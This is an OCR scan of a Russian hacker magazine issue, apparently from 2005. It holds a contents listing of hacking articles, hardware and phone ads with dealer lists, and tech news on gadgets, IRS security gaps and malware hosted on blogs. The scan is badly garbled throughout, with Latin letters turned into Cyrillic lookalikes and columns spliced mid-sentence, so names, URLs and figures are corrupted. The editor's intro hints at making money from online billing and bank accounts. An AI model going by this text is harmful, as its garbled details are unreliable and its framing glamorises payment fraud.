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[ВЗЛОМ] Разживаемся по-крупному 
Захват ехсИапде-центра 
Веселая карусель 
Массовое заражение 

[КОДИНГ] .ЕХЕ в заложниках 
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Работайте е лучшими! 

ОистриОьтор Нашей Мечты! 




егРЬМТЮЫ зѳгіез 



Ы 

ВгідЫѴіеш 



ВгідМѴіеѵѵ 

функция включает 4 режима: 

“текст”, “фото”, "кино” и "стандартный”. 

Каждый обладает уникальными параметрами настройки 
контрастности и цветовой температуры 






ВгідМѴѴіпсІоѵѵ 

функция позволяет выборочно регулировать яркость. 
Область оптимальной яркости можно создать, просто 
выделив область мышью, а также свободно 
передвигать и изменять размеры этой области. 
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егРЦѴТКОМ Т710 РН/Ри 

Диагональ - 17” 

Тип трубки - егПАТ 
Разрешение -1 280x1 024@75 Гц 
Точка - 0,25/0,20 мм 

Г оризонтальная частота - 30-85 КГ ц 
Соответствие стандартам - ТСО’ОЗ 





АгМіс зѳгіез 



ЫдМѴіеѵѵ 

функция включает 3 режима: 

“день”, “ночь”, и “пользовательский”. 

В режимах "день" и “ночь” есть режимы: 

"текст”, "фото" и "кино”. 

Каждый из этих 6 режимов обладает 
уникальными параметрами настройки 
контрастности и яркости. 

Мониторы серии Агтізтіс 
являются призерами международных конкурсов 
индустриального дизайна: ІР Резі^п 2003 и Кесісіот 



ИдЫѴіет 






гесЫоТ сіезідп аѵѵагсі 

ѵѵіппег 2003 




Г=ЬЛТГ?ОМ ЕЗЭ 



ию р і. аткои и 520/и 720 

Диагональ - 15717” 

Тип экрана - І_СЛ 
Разрешение -1280x1024 
Углы обзора - Н: 160, V: 140 
Контрастность -400:1 
Яркость - 300 ссІ/т2 
Соответствие стандартам - ТСО’99 




ИЗ 0Ѵ? 2 Ш ИЗ 




РѴМ 
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Компания ЦѴМ Сгоир: 
тел.: (095) 777-10-44 

факс: (095) 958-60-19 
ѵѵѵѵѵѵ.гіѵт.ги 



Приглашаем к сотрудничеству партнеров 
Специальные условия для корпоративных клиентов 



Москва (095): Бит и Байт 788-00-46; Дестен Компьютере 785-10-80; Дилайн 969-2222; Инфорсер 173-99-34; ИНЛАЙН 941-6161; Кибертроника 504-25-31; Компус графике 937-3249; 
Техносила 777-87-77; Технофорум 506-79-48; Онлайн Трейд 737-47-48; Миган Про 900-73-09; НИКС 974-33-33; ОШІ 232-30-09; Систек 781-23-84; Слай Компьютере 974-6671; 
Цифровой мир 785-38-88; АѴМ 158-63-62; ІІЗИ Сотриіегз 775-82-02; Норма Элит ТД 330-27-74; НТ компьютере 917-19-30; Остров Формоза 926-24-52; Компания МЕІЛИ 727-1222; 
Формоза-Альтаир 728-40-04; Эльдорадо 500-0000; Е-Ноизе 742-5657; Рогит Сотриіегз 775-7559; Ргопеі 789-3846; 5ТИ 783-5880; II І_ША Сотриіегз 775-7566; 

ІР Сотриіегз 961 -0009; Александров (09244): Компьютер Лайн 65-2-65 Архангельск (81836): Фаворит 6-10-11 Белгород (0722): Инфотех 26-36-18, Благовещенск (4162): 
Ксерокс Сервис 41-12-16; Джи-Эс-Ти партнер 53-9280 Екатеринбург (3432): Диджитек 777-407; Ваш компьютер 711-033 Иваново (0932): ЕІ4ТЕР 303-974 Иркутск (3952): 

Альф Компьютере 25-1545; Комтек 25-83-38; Казань (8432): Логические системы 11-22-33; Премьер Компьютере 91-5888 Калуга (0842): Лето Копия 564-023 Мурманск (8152): 
МайТи 56-32-28; КомпьютерМаг 47-81-81 Набережные Челны (8552): Элекам 35-8910 Нижневартовск (3466): Ланкорд 61-22-22 Нижний Новгород (8312): АѵѵагсІ 78-4221; 

Коіа ОізІгіЬиІіоп 34-10-15; Ником Медиа 78-00-80, 1)ЗТ 30-1674 Новозыбков (08343): Никс ООО 50-973 Омск (3812): "Лаборатория систем 321" 24-54-12; Патисоник 39-6903 
Оренбург (3532): КС-Центр 77-4711 Пермь (3422): О-Си-Эс Урал 195-148 Псков (8112): Компьютерный салон "ВЭБ" 79-3021 , Ростов-на-Дону (8632): Технополис 61-62-71 
Самара (8462): Радиант 34-0706 КиберКуб 42-5023; Крафт С 41-2412 Санкт-Петербург (812): Шга Сотриіегз 336-3777 Таганрог (8634): Димир 31-1085 
Тольятти (8482): СофтЭкс 420-760; Фина-Центр 2343-35 Тула (0872): Курсор 30-9509, Нотис 30-95-08 Тюмень (3452): Компьютел 369-155 Уфа (3472): Форте ВД 37-9606; 
Чебоксары (8352): Центр Информатики 45-80-44 Челябинск (3512): Рембыттехника 72-5601; Зрагк Сотриіегз 75-1919 




ѵѵѵѵѵѵ.Ід.ги 
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^ МОВІІ.Е 
ТЕСНШОЮСУ 



Іп#еІ® Сепігіпо™ АЛоЬМе ТесНпоІоду 

Процессор Іпіеі® Репііит® М 770 (2 Мб І_2 кэш,2.13 ГГц,Р5В 533 МГц) 
Чипсет для мобильных платформ МоЬіІе Іп+еІ® 915СМ Ехргезз СЬірзеІ 
ІпіеІ® РКО/'МгеІезз 2200ВС 

■ Широкоформатная высококонтрастная и яркая ТРТ- матрица 

"стеклянного" типа (200 Кд/м2) с диагональю 12.1 МХОА 1280x768 

■ Встроенная веб-камера с разрешением 1.3 мегапикселя, 
поворачивающаяся на 180 градусов 

■ Широкие коммуникационные возможности 

встроенная беспроводная сеть ІЕЕЕ 802.11Ь/д и ВІиеіооіЬ 

■ Вес 1.6 кг 

■ Беспроводная мышь в комплекте і 

+ встроенный модуль для работы с беспроводной мышью 



НЕАКТ ОР ТЕСНКІ СНОСУ 



/ Всемирная гарантия 2 года 

Телефон службы технической поддержки : (095) 23-11-999 



Москва: Армада-РС (095) 232-30-82, Артрон (095) 789-85-80, Аѵакот М (095) 784-67-36, Аѵапіа РС (095) 954-54-22, Белый Ветер (095) 730-30-30, РогсеСотр 
(095) 775-66-55, МЕХЦ5 (095) 928-23-67, НИКС (095) 974-33-33, ОЦЭІ (095) 105-07-00, ПИРИТ (095) 974-32-10, Роіагіз (095) 755-55-57, Портком (095) 101-33-64, 
Респект (095) 177-40-77, Сетевая Лаборатория (095) 500-03-05, ЗМ5 (095) 956-12-25; СтартМастер (095) 967-15-15, ТФК (095) 749-96-32; Умные машины (095) 
780-00-41, Ф-Центр (095) 105-64-47, СБИ (095) 775-82-02; Санкт-Петербург: Оізріау (812) 103-00-18, КЕЙ (812) 331-24-77, Микробит (812) 333-44-44, 
Компьютерный мир (812) 333-00-33; СТР Компьютере (812) 542-4551; Барнаул: С-Тгабе (3852) 38-10-00; Воронеж: РЕТ (0732) 77-93-39; Екатеринбург: Парад 
(3432) 51-48-22, Старттехно+ (3432) 56-85-01; Краснодар: Владос (8612) 62-33-73, Санрайз (8612) 640-066; Новосибирск: НЭТА (3832)16-33-11, Техносити 
(3832) 1 25-333; Ростов на Дону: Центр-Дон (8632) 698-668; Самара: Прагма (8462) 701 -701 ; Томск: Интант (3822) 41 -55-32; Тюмень: АО Зузіетз (3452) 22-35-33; 
Челябинск: Японская электроника (351 2) 63-74-34; Хабаровск: Апукеу (4212) 328-155 
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И 



\ 



■ і І 




К-рао^ 

РАЗЖИВАЕМа 
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ДЕЛАЕМ 

ПИНГВИНУ ОБРЕЗАНИЕ 
УКРОЩЕНИЕ 
РЕАЛЬНОГО ВРЕМЕНИ 
ПОИГРАЕМ С 
ТУКСОМ В ПРЯТКИ 



КОТОРАЯ 





' дД^ Н ^\ОТЕРНОГО 

1 А^Ж<РУПНЕ^ 





ІМТРО Все под контролем программ. Бил- 

Деньги и Сеть. линги, мерчанты, электронные пла- 

тежные системы, опііпе банковские 
Эти два понятия все больше и боль- аккаунты 

ше переплетаются друг с другом. И можно не поднимать себя и свой 
Гигантские суммы проходят через зад, чтобы зарабатывать деньги. Де- 
сервера интернета. Миллионы дол- лай все у экрана монитора. Един- 
ларов списываются с карточек лю- ственное условие - наличие мозгов, 
дей со всего мира. 

Продается все что угодно. Еда, У тебя ведь они есть? 
одежда, техника. Даже наворочен- 
ный коттедж можно купить через ин- СиТТег 
тернет. главред X 





НЕЙРОМАНТИК 

Американский художник Ричард Минский ( тіпзку.сот ) предста- 
вил хай-тек издание «Нейромантика» Уильяма Гибсона. Переплет 
библии киберпанка выполнен из черной кожи. На обложке свер- 
кает шурикен — метательная звезда ниндзя. Ее изображение про- 
является на страницах книги по ходу повествования. На розовый 

суперфутляр вынесена цветная 
голограмма с текстом четвер- 
той поправки к Конституции о 
праве на частную жизнь. Нако- 
нец, с обратной стороны книги 
встроена сетевая карта — ней- 
роинтерфейс, при помощи ко- 
торого Кейс выходил в киберп- 
ространство. 




ДЕРЕВЯННЫЙ 

ДЖОЙСТИК 

Некто Уодат Хокинику 
сконструировал, воз- 
можно, самый мини- 
малистский джойс- 
тик в мире. Для изго- 
товления четырехпо- 
зиционного устрой- 
ства понадобились 
четыре деревянные 
прищепки, несколь- 
ко стальных шурупов 
и моток разноцвет- 
ных проводов. Роль 
рукоятки выполняет 
китайская палочка 
для риса. Крен в сторону размыкает прищепку, что вызывает дви- 
жение курсора на экране. Свою незатейливую конструкцию ав- 
тор с успехом испытал на стареньком А+агі 2600. В завершение 
работы рационализатор мудро изрек: «Даже не пробуйте повто- 
рить мой опыт, это выглядит довольно неуклюже и вообще являет- 
ся пустой тратой времени». 




ПО ШАРАБАНУ 

Студент Королевского коллед- 
жа искусств Мурат Конар 
(ѵтѵѵ/.тигаТпкопаг.сот) предс- 
тавил кибернетическую перкус- 
сию бгит I ГіеасІ, Мерцающее 
видеоизображение обросшего 
щетиной лица проецируется на 
бюст из полистирола. Если стук- 
нуть по голове барабанной па- 
лочкой, лицо скривит удивлен- 
ную гримасу и издаст звук. Для регистрации прикосновений ис- 
пользуется пьезосенсор. В расслабленном состоянии голова улы- 
бается и терпеливо ждет удара, водя глазами из стороны в сторону. 
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НІТЕСНЫЕѴѵЗ ▼ 



МЕДВЕЖАТНИКУ НА 
ЗАМЕТКУ 

Магазин ЗсіепШсвОпІіпе.сот 
представил настольный симуля- 
тор сейфа. Эру ЗаГе Сгаскег — 
это настоящая находка для начи- 
нающего медвежатника. Чтобы 
получить доступ к заветному мил- 
лиону, нужно решить набор голо- 
воломок. Сейф имеет три уровня 
защиты. Для начала предстоит 
соединить электрическую цепь 
при помощи стилуса. Затем по- 
добрать ПИН-код. И наконец, на 
последнем этапе, используя на- 
ушники и тоновый диалер, — раз- 
гадать секретную комбинацию. 

Головоломки никогда не повторяются. Игрушку можно использо- 
вать по ее прямому назначению — в качестве тайника. Новинка 
продается в интернет-магазинах по цене 36 долларов. 




СИМУЛЯТОР БОГА 




Инженер из Японии Нобухиса Ишизука заявил арт-инсталляцию 
«Симулятор бога». Она представляет собой напольный монитор, эк- 
ран которого смотрит на наблюдателя снизу вверх. Цветное видео- 
изображение — это записанный заранее вид на прохожих сверху. 
Если двигать монитор по полу, область обзора меняется. Таким об- 
разом, можно наблюдать разные части изображения, как будто од- 
на большая картинка спрятана под полом. Например, можно выде- 
лить в толпе девушку в красном и преследовать ее, пока та оконча- 
тельно не растворится среди прохожих. Как говорит автор, необыч- 
ная точка наблюдения позволяет заметить плешь и другие интерес- 
ные детали. Паря в воздухе, начинаешь чувствовать себя богом. 



СИГАРЕТЫ ХАЙ-ТЕК 

Израильская компания СазГіЬат ЕпГегргізез кардинально решила 
вечную проблему отсутствия спичек и зажигалок у курильщиков. 
Компания получила патент на самовозгорающиеся сигареты. На 
наконечник папиросы нанесены сера и фосфор. Одно чирканье 
по грубой поверхности сбоку пачки зажигает сигарету. Чтобы она 
не поломалась при такой резкой манипуляции, наконечник ук- 
реплен полоской бамбука. Изобретением можно с успехом 
пользоваться на сильном ветру. 





СоругідЬг © Иокіа, 2005. Все права защищены. Мокла. Мокла Соппесйпд Реоріе являются товарными знаками Иокла Согрогайоп. Товар сертифицирован. 




ІЧЮКІА 



Для работы. Для развлечений. 
Для тебя. Смартфон Ыокіа 3230. 





Каждое утро ты спешишь в офис, потому что с беспроводной технологией соединения ВІиешосН, НТМІ_-браузером и функцией 
Ріі5б іо іаік любая работа приносит удовольствие. А вечером ты не торопишься уходить с вечеринки, ведь фотографировать своих 
друзей 1,3-мегапиксельной камерой и делать видеозаписи - это так здорово! Смартфон Иокіа 3230. 



ІЧЮКІА 

Ссжыестшс Реорье 



ѴѴѴѴѴѴ. П О кі а . Г и Горячая линия Ыокіа: (095) 727-2222. Часы работы: 08.00-20.00 (московское время), Пн.-Пт 
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НГГЕСНМЕѴѴЗ Ж 



][ЫЕ\А/5Ж 




ТЕЛЕГА ДЛЯ 
БЕЗДОМНЫХ 

Диджеи американской радиостанции І_ех&Теггу (ѵѵилѵ./ехалбГег- 
гу.сот ) произвели благотворительный модинг тележки для покупок 
в супермаркете. Акция была организована в поддержку бездом- 
ных. Тележку оснастили всем необходимым, что может потребо- 
ваться для жизни на улице, и даже большим. В комплект вошли: ра- 
диоприемник с колонками, портативный телевизор, устройство 
6Р5, компактная печка-холодильник, пресс для плющения алюми- 
ниевых банок, выдвижное сиденье, противоугонное устройство с 

ключом зажигания и 
сиреной, 8 десятков 
неоновых лампочек 
и 1_ЕЭ-индикаторов, 
часы, датчик темпе- 
ратуры и спидометр, 
тент от дождя, мощ- 
ный аккумулятор и 
солнечная батарея. 
Всего на модерни- 
зацию агрегата бы- 
ло потрачено более 
2 000 долларов. В 
конце радиостанция 
провела лотерею и 
презентовала хай- 
тек тележку счаст- 
ливчику, не имею- 
щему собственного 
дома. Тот пообещал 
быстро встать на но- 
ги и передать те- 
лежку новому вла- 
дельцу. 



ТЕЛЯЧЬИ 

НЕЖНОСТИ 




Американские дизайнеры разработали модель блузки, переда- 
ющей ощущения нежных объятий на расстоянии. Е+9 Нидз — мяг- 
кая лайкровая вещица со встроенными сенсорами и электрони- 
кой, позволяющей чувствовать физическую близость любимого 
человека. В основу работы положена технология 6РІ95, Блузка 
принимает сигналы сердцебиения, данные о прикосновениях и 
температуре тела партнера. Встроенные в блузку микроприводы 
на расстоянии воссоздают пульсацию, давление и тепло реаль- 
ных объятий. В ходе экспериментов активными зонами оказались 
плечи, шея, спина, талия и бедра. Именно в этих стратегических 
точках были размещены хай-тек «сэндвичи», содержащие приво- 
ды. Об ожидаемой стоимости новинки не сообщается. 



НАЛОГОВАЯ СЛУЖ- 
БА США УЯЗВИМА 

Пожалуй, главным центром 
скопления конфиденциальной 
инфы об американцах является 
Внутренняя налоговая служба 
(ІГ?8). В ее базах данных содер- 
жатся сведения о доходах мил- 
лионов буржуев, их адреса, те- 
лефоны, номера социального 
страхования. Можно себе 
представить, что произойдет, 
если эта информация попадет в 
руки мошенников. До недавне- 
го времени считалось, что свя- 
тая святых тщательно охраняется. Но месяц назад Ведомство ге- 
нерального учета представило Конгрессу доклад, ясно свиде- 
тельствующий об уязвимости ІГ35. В докладе проводился анализ 
систем защиты, из которого было видно, что если хакер проникнет 
в систему, засечь его при действующих правилах будет невоз- 
можно. К тому же, налоговики латают далеко не все дыры в своем 
ПО. Конгресс радости по этому поводу не испытал и приказал им 
в кратчайшие сроки исправиться. «Ѵез, зіг. ОГ соигзе, зіг», — отра- 
портовали налоговики и испарились апгрейдить свое секурити. 
Странно то, что в базе данных совместно с информацией о нало- 
гоплательщиках содержатся полицейские данные об отмывании 
денег и других финансовых преступлениях. То есть если копу нуж- 
но проверить что-то по отмыванию, он заодно получает доступ к 
базе налоговиков и может не только читать, но и редактировать та- 
мошнюю инфу! Понятное дело, законом это всячески запрещает- 
ся, но не похоже, чтобы руководство ІР5 это волновало. 




ПЕРВЫЙ ВЗГЛЯД НА 

юмсновы 

Информация о винде под кодовым названием БопдТюгп пока дер- 
жится в секрете. Но МісгозоТТ потихоньку начинает проводить пре- 
зентации для репортеров, и кое-что уже просачивается к нам. Изве- 
стно, что большое внимание компания уделила безопасности ОС — 
судя по всему, на момент выхода она будет одной из самых защи- 
щенных систем на рынке и уж точно самой бронированной из всех 
виндовзов. Также мы увидим новые поисковые средства и утилиты 
для работы с информацией. Например, с помощью панели быстро- 
го поиска можно будет за несколько секунд прочесать винт и найти 
нужное. А результаты поиска сохранить как виртуальные папки. 
Всем мультимедийным файлам можно будет присваивать рейтинг, 
чтобы быстрее находить их при дальнейших обращениях к базе. Так- 
же Майкрософт по- 
заботится о пользо- 
вателях ноутбуков и 
упростит переклю- 
чение ноутов ме>кду 
сетями. Многое в 
Лонгхорне будет на- 
поминать Мае 05 X 
Тідег, но Гейтс заве- 
рил, в новой винде 
все будет круче. Од- 
ной из особеннос- 
тей, присущих толь- 
ко Лонгхорну, станет возможность показывать в качестве иконок 
уменьшенные версии документов. Например, если это .бос, то те- 
перь ты увидишь не буковку «ѴѴ» в рамочке, как раньше, а миниатюр- 
ную копию первой страницы. Вице-президент отделения МісгозоГГ 
Джим Оллчин в интервью журналистам СЫЕТ Ыеѵѵз.сот сказал: «Это 
будет эпохальное событие. Конечно, мы понимаем, что БопдГюгп 
вряд ли соберет толпы людей перед витринами магазинов, как это 
было в день выпуска ѴѴІпсІоѵѵз 95, но в этом продукте найдется что- 
нибудь для каждого, и это подхлестнет продажи ПК». 





НАІЮЫЕѴѴ5 Ж 



НІТЕСНЫЕѴѴ5 Ж 



КАМЕРА 
ДЛЯ МАСТАКОВ 

Официальный распространи- 
тель продукции МизТек, компа- 
ния МАЗ Еіекітопік АО, выпустила 
пресс-релиз, в котором предс- 
тавила новую цифровую видео- 
камеру Мизіек ОѴ-5600. Новинка 
совмещает в себе функциональ- 
ность цифрового фотоаппарата, 
диктофона, ѴѴеЬ-камеры и МРЗ- 
проигрывателя. Представленная 
камера является продолжением модели ЭѴ-5500, В новинке ис- 
пользуется автофокусируемый объектив и установлена матрица 3,1 
Мпикс. ОѴ-5600 позволяет записывать видеоролики с частотой сме- 
ны кадров 30 <рз. Также в камере установлен цифровой трансфока- 
тор 16х, позволяющий изменять панораму съемки. В поставке с ка- 
мерой идет карта памяти объемом 64 Мб — разумеется, пользова- 
тель может установить и более вместительную. Максимальное раз- 
решение фотосъемки составляет 2624x1968 пикселов (интерполи- 
рованное, родное — 2048x1536), поддерживается интерфейс ЕІ5В 
2.0, есть ЖК-дисплей диагональю 2,5 дюйма. Как ожидается, стои- 
мость ЭѴ-5600 в России составит около 255 долларов. 

Основные характеристики: 




Сенсорная матрица: ССР, 3,1 Мпикс 

Разрешение: фото — 2624x1968 (интерполированное, оптическое — 

2048x1536), 640x480, видео — 640x480 (30 Грз), 352x288 (30 Грз) 

16х цифровое увеличение 

Цветной 2,5" ЖК-дисплей 



Карта памяти: 5Р/ММС, 64 Мб в комплекте 

Поддерживаемые форматы: ЦРЕб/АЗР/МРЗДЛ/АѴ 

Диафрагма: Р=3.5 

Объектив: автофокус, Г=6,7 мм 

Интерфейсы: ЦЗВ/АѴ-выход/выход на наушники 

Таймер: 10 с 

Выдержки: 1/10-1/1000 с 

Размеры: 84x55x95 мм, 220 г 



ИГРОВАЯ МЫШЬ 




Небезызвестная компания Рагег 
Ѳгоир, которая прославилась 
своими девайсами для профес- 
сиональных компьютерных иг- 
роков и дизайнеров, предста- 
вила недавно новую мышку 
ОіатопсІЬаск РІазта І_ітіТесІ 
ЕсІІГІоп. Как утверждают менед- 
жеры фирмы в пресс-релизе, это первый в мире оптический грызун 
со специальным инфракрасным датчиком, обеспечивающим дос- 
тойные значения важных для крутых геймеров характеристик. 

Надо отметить, что специалисты Рагег имеют недюжинный опыт 
производства игровых устройств и поэтому постарались сде- 
лать по-своему идеальный девайс. Главная фишка, отмечаемая 
в пресс-релизе, - высокочувствительный датчик ускорения и 16- 
битная шина данных. Это обеспечивает высокое разрешение 
(1600 точек на дюйм) и передачу более 6400 отсчетов в секунду. 
Также Рагег ОіатопсІЬаск РІазта ЦтіТесІ ЕсІІТІоп выделяется спе- 
циальной конструкцией корпуса, который хорошо лежит как в 
левой, так и в правой руке. Обводы корпуса и кнопки хитроумной 
формы предотвращают соскальзывание пальцев, обеспечивая 
хороший контакт и контроль за движением. А благодаря скольз- 
ким ножкам из тефлона, мышь легко перемещается по любой по- 
верхности, будь то коврик или деревянный стол. Г рызун оснащен 
семью кнопками, функции которых можно назначать програм- 
мно. К слову, софт, поставляемый с мышью, позволяет настраи- 
вать чувствительность на лету, благодаря чему геймеры могут 
легко и быстро подстраивать девайсину к особенностям той или 
иной гамесы. 



КОМПЬЮТЕРНЫЕ 

МИКРОБЫ 



\ 



Американские ученые из Принстонского университета сделали 
очередной шаг к разработке микробиокомпьютера. Кишечные 
палочки Е. СоІІ с измененным генетическим кодом под надзором 
исследователей обменивались сигналами и формировали яр- 
кие красочные узоры абсолютно правильной формы. В зависи- 
мости от того, какие сигналы подавали соседние колонии ки- 
шечных палочек, Е. СоІІ излучали красный либо зеленый флуо- 
ресцентный свет. 

В результате эксперимента, ученые смогли сформировать из 
бактерий целых три различных узора: мишень, сердечко и цвето- 
чек. 

Мишень выглядела как две концентрические окружности, одна 
из которых была зеленой, а вторая, сердцевина, составлялась 
зелеными кишечными палочками. 

Сердечко, которое ты можешь увидеть на скриншоте - это более 
сложная композиция, составленная аж из трех мишеней. 

Ну а цветок (который ты так же видешь на картинке) - это вообще 
что-то непонятное. 
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ЛЫЕѴѴЗЖ 



НАІЮЫЕѴѴ5 ▼ 



БРИТАНСКИЕ БАН 
КИ НАРАЩИВАЮТ 
ДЕФЕНС 
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«КИЙЙИГ* Щ 



По подсчетам аналитиков, в 2004 году британские банки по- 
теряли от деятельности сетевых Остапов больше 20 миллио- 
нов долларов. «Надо что-то делать», — подумали банкиры и 
пришли к выводу, что, раз бороться с самими мошенниками 
не получается, нужно бороться с дырами в своих системах. А 
поскольку больше всего убытков получается в результате 
фейковых денежных переводов, то и силы свои нужно пустить 
в этом направлении. В текущем году крупнейшие банки Вели- 
кобритании собираются ввести двухуровневую аутентифика- 
цию клиентов. В основе будет стоять аппаратный генератор, 
создающий пароли на основе публичного ключа, выдавае- 
мого банком. Каждый пароль будет задействован для прове- 
дения только одной операции. Эксперты считают, что подоб- 
ным образом удастся намного повысить безопасность де- 
нежных переводов через интернет. И если это действительно 
окажется так, многие банки в других странах возьмут пример 
со своих коллег. 



ХАКЕРЫ И БЛОГИ 

Блог (\л/еЬ Іод) — это персональный журнал пользователя в Се- 
ти. Обычно представляет собой хронологически упорядочен- 
ную ленту сообщений, которая отображается на определен- 
ном сайте и сообщения в которую публикуются через удобный 
интерфейс. Яркий пример блога — Ііѵе]оигпаІ.сот, который 
очень популярен в России. У блогов есть множество плюсов и 
лишь пара минусов. Но в последнее время к минусам приба- 
вился еще один. Дело в том, что вирьмейкеры и хакеры все ча- 
ще используют блоги для размещения в них вирусного кода. 
Также блоги являются отличным способом хранения и обновле- 
ния хакерского софта (кейлоггеров, троянов и т.д.) — сервисы 
блогов обычно предоставляют кучу места для размещения тво- 
его добра, не требуют регистрации и не проверяют отдельные 
паги на вири и трояны. Хакеру достаточно создать левый блог, 
встроить в страницу нехороший скрипт и с помощью спама 
пригласить юзеров ее посетить. Вычислить автора блога прак- 
тически нереально. Все это не просто теоретические рассуж- 

1 дения — зесигііу- 

эксперты все нас- 
^ — _ц; тойчивее указыва- 
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блогов. Так что те- 
р]и III і|і| 11^ перь тебе нужно 
Нг В осторожничать не 
4^7 только на хоумпа- 
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ВЕСЕЛАЯ ПЯТЕРКА 

Компания ЗТіагр недавно пред- 
ложила своим пользователям 
пять новых ЖК-мониторов со 
средненькими характеристи- 
ками: 19-дюймовые 1_І_-193А(Ѳ) 
и 17 дюймовые И-173А, 1_І_- 
171С и І_І_-173Ѳ. Новинки под- 
держивают разрешение до 
1280x1024 и поставляются в 
двух цветовых вариантах: бе- 
лые (префикс И-) и черные 
(префикс ВІ_-). Новинки уже 
поступили в розничную продажу, 
поэтому нелишним будет прис- 
мотреться повнимательнее к характеристикам новых дисплеев. 
И-193А с диагональю 19 дюймов обеспечивает время отклика 8 
мс, яркость 250 Кд/мЛ2, контраст 500: 1 , угол обзора 1 60 градусов 
по вертикали и горизонтали, отображая при этом, как и следова- 
ло ожидать, больше 16 миллионов цветовых оттенков. В моники 
встроены убогие стереопищалочки мощностью по 1 Вт; размеры 
экрана составляют 418x220x416 мм, весит устройство почти 7 кг. 
БМ93Ѳ отличается от своего А-брата увеличенным до 18 мс вре- 
менем отклика, но повышенным (600:1) контрастом при яркости 
230 Кд/мЛ2. Угол обзора составляет 178 градусов по вертикали и 
горизонтали, количество отображаемых цветов — 16,77 млн. Раз- 
меры монитора с двумя стереоколонками мощностью по 1 Вт 
равны 418x243x436 мм, вес — 7,1 кг. 

Время отклика у 17-дюймового дисплея І_І_-173А составляет 12 мс, 
яркость — 280 Кд/мЛ2, контраст 450: 1 . При этом, чтобы разглядеть 
изображение, не следует отклоняться от нормали к плоскости 
экрана больше чем на 85 градусов: угол обзора у этой модели 
равняется 170 градусам. Размеры дисплея со встроенными ко- 
лонками (1+1 Вт) составляют 374x220x390 мм, весит монька 5,4 кг. 
Что касается И-173А, то это устройство, в общем-то, почти такое 
же, разве что отличается внешне и обладает чуть большими раз- 
мерами: 374x243x384 мм. 

А вот И-171С мне показался самой приятной моделькой. Во-пер- 
вых, в нем нет убогих пищалок, и хоть остальные показатели не 
сильно впечатляют, этот монитор — не худший выбор. Яркость 
дисплея — 260 Кд/мЛ2, контраст — 500:1, время отклика — 12 мс, 
угол обзора — 160 градусов по вертикали и горизонтали, коли- 
чество отображаемых цветов — 16,19 млн. Размеры монитора 
равны 377x209x392 мм, вес — 4,4 кг. 



700 ВАТТ 
ДЛЯ КОМПА 




гах, которые ты по- 
сещаешь, но и на 
блогах, куда тебя 
может занести не- 
легкая. 



Приятель, вот у тебя какой блок 
питания стоит? Я про мощность. 
200, 250, 300 Вт? Ты думаешь, 
больше не бывает? Ошибаешь- 
ся! Недавно вот я наткнулся на 
пресс-релиз компании АОреп, 
в котором она сообщала о вы- 
пуске на рынок БП мощностью 
700 Вт! Похоже, что на сегод- 
няшний день это самый мощ- 
ный блок питания для настольных систем. А0700-12АПЧ позицио- 
нируется как решение для Тіі-епсІ систем и имеет целую кучу на- 
воротов. К примеру, стабилизация 12-вольтового напряжения для 
материнской платы, дисков, проца и видеокарты выполнена в 
раздельных линиях. Особое внимание уделено стабильности пи- 
тания и эффективности преобразований: КПД достигает 85%! Блок 
питания выполнен в формате АТХ12Ѵ версии 2.01 и покрашен в 
чёрный цвет, кроме того оснащен 12-сантиметровым малошум- 
ным вентилятором на нижней поверхности. Думается, что в ско- 
ром времени вполне можно будет отапливать помещения нес- 
колькими мощными компьютерами. Сисадмины наконец-то пе- 
рестанут мерзнуть :). 




ВНИМАНИЕ! ЭТА СЕТЬ 



НАДЕЖНО ЗАЩИЩЕНА! 
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и НАХОДИТСЯ 



БДИТЕЛЬНОЙ ОХРАНОЙ 






Получите на тісгозо^.сот/Киз/БесигіІу/СиісІапсе инструменты и инструкции, 
необходимые для обеспечения надежной защиты вашей сети. 



Загрузите бесплатный пакет обновления МісгозоК® ѴѴіпсІоѵѵз® 
ХР 5егѵісе Раск 2 и оцените последние улучшения, позволяющие 
значительно повысить контроль над операционной системой 
и обеспечивающие ее надежную защиту. 



Бесплатный ѴѴеЬ-инструмент МісгозсхК Кізк А55е55ітіепТ ТооІ 

поможет вам самостоятельно оценить уровень информационной 
безопасности вашей организации и определить области, нуж- 
дающиеся в усовершенствовании. 



Бесплатные обновления и инструменты безопасности. 

Скачайте бесплатный МісгозоЛ: Вазеііпе БесигіСу Апаіугег и 
проверьте, обеспечивает ли конфигурация вашей системы 
максимальный уровень безопасности. Удобное обновление 
с помощью программы ѴѴіпсІоѵѵз Зегѵег™ ІІрсІа1:е Зегѵісез. 



Іпіегпеі Зесигііу & Ассеіегайоп 5егѵег 2004: Получите бесплатную 
ознакомительную версию ( 1 20 дней), и вы увидите, насколько 
использование брандмауэра, ѴРГчІ и других программных реше- 
ний увеличивает безопасность и производительность вашей сети. 



© 2004 Місгозо^ Согрогайоп. Все права защищены. Владельцем товарных знаков Місгозов, ѴѴІпсІоѵѵз, 
ѴѴІпсІоѵѵз Бегѵег, зарегистрированных на территории США и/или других стран, и владельцем авторских 
прав на их дизайн является корпорация МісгозоИ 



МісгозоП 



НАСТЭЫЕМЗ ▼ 



ІЫЕѴѴ8Ж 



ё ЭЛИТНАЯ МАМА 

0 Ты, конечно же, знаешь, что есть на свете такая компания — ЕС5, 
з ЕІІТедгоир СотриТег ЗузТетз. Так вот, эта контора недавно 
2 представила новую системную плату с названием Е5400-А, функ- 

1 ционирующую на базе чипсета АТІ Е5400. Новинка предназначе- 
на, как несложно догадаться, для работы с камнями РепТіит 4 
ЕСА 775. Частота ЕЗВ на новой маме составлет 800/533 МГц, при 
этом реализован двухканальный режим работы с памятью ЭЭ122 
667/533/400 МГц и ЭЭ121 400/333 МГц. Новинка оборудована ин- 
тегрированной микросхемой Рабеоп Х300, аппаратно поддер- 
живающей ЭігесІХ 9. Допускается установка видеокарт как для 
АСР 8Х, так и для РСІ Ехргезз. 

Что касается южного моста, то в описываемой материнке реа- 
лизована поддержка четырех портов ЗАТА и ШГга ОМА 133 с воз- 
можностью организации массивов РАЮ0, 1, 0+1. Кроме того, 
плата имеет восемь портов ЕІЗВ 2.0, а также интегрированный се- 
тевой адаптер Еазі ЕГГіегпеГ от РеаІІек, который поддерживает 
устаревшие режимы 10/100 МЬрз. Остается добавить, что плата 
уже поступила в продажу. 



ВОЙНА С ТЕПЛОМ 

Необычное устройство, которое 
удивляет своим внешним видом, 
представила недавно японская ком- 
пания ЗсуГГіе. Инженеры этой корпо- 
рации разработали новый кулер, ко- 
торый можно использовать совмест- 
но с любым типом процессоров и со- 
кетов. Названа новинка по-боевому: 
[\Ііпіа Неаіріре Гапіезз СРІІ Сооіег 
ЗСМШ1000. И в общем-то, оправдыва- 
ет свое название. Если посмотреть на 
